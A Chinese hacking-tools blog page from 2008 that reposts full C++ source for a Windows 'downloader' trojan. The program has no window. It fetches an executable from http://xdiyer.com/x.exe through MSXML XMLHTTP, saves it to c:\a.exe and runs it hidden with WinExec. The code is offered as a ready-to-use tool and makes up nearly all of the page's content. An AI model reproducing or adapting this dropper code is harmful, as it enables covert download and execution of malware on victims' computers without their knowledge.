Home 电脑技术 工具收集 xml下载者VC源码
xml下载者VC源码 E-mail
作者:洋葱圈   
周一, 12 5月 2008 19:33

下载者VC源码
作者:CoolDiyer
来源:红狼

// xml.cpp : By CoolDiyer 2008/4/9 14:03 
//xml
#pragma comment(linker, “/subsystem:windows /FILEALIGN:0×200 /opt:nowin98“)

#include <windows.h>
#include <atlbase.h>
#import “msxml.dll”
bool URLDownloadToFile(LPCTSTR szURL, LPCTSTR szFileName)
{
MSXML::IXMLHttpRequestPtr xmlHttp = NULL;
HRESULT hr;
BSTR bstrstring = NULL;
hr = xmlHttp.CreateInstance(”msxml2.xmlhttp“);
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->open(”GET“, szURL, false);
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->send();
if (!SUCCEEDED(hr)) return false;
xmlHttp->get_responseText(&bstrstring);
if (!SUCCEEDED(hr)) return false;

VARIANT vValue;
xmlHttp->get_responseStream(&vValue);

IStream *pIStream = NULL;
STATSTG StatStg;
pIStream = (IStream*)vValue.punkVal; //取得流对象指针
pIStream->Stat(&StatStg, NULL);
ULONG nSize = ULONG(StatStg.cbSize.QuadPart); //取得文件的长度

HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

BYTE lpBuffer[1024];
DWORD dwBytesWritten = 0;
ULONG uLen;
while (nSize > 0)
{
pIStream->Read(lpBuffer, min(nSize,1024), &uLen); //防止文件过大
WriteFile(hFile, lpBuffer, uLen, &dwBytesWritten, NULL);
nSize -= uLen;
}
CloseHandle(hFile);
if (pIStream)
{
pIStream->Release();
pIStream = NULL;
}
return true;
}

int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
CoInitialize(NULL);
char *lpszFile = “c:\\a.exe“;
URLDownloadToFile(”http://xdiyer.com/x.exe“, lpszFile);
WinExec(lpszFile, SW_HIDE);
CoUninitialize();
return 0;
}
Trackback(0)
Comments (0)Add Comment

Write comment
quote
bold
italicize
underline
strike
url
image
quote
quote
smile
wink
laugh
grin
angry
sad
shocked
cool
tongue
kiss
cry
smaller | bigger

security code
Write the displayed characters


busy
最后更新 ( 周一, 12 5月 2008 19:43 )
 

最新评论

统计数据

会员 : 4
内容 : 185
友情链接 : 5
内容的浏览数 : 40709
您来自
38.103.63.17
美国 美国 :
浏览器
Unknown Browser Unknown Browser
操作系统
Unknown Operating System Unknown Operating System
当前有 82名访客 在线

友情链接

友情链接

飞豆Rss订阅平台

网站收藏

落伍者

网络部落格

鬼仔's Blog
T4nk
虚幻灵者's blog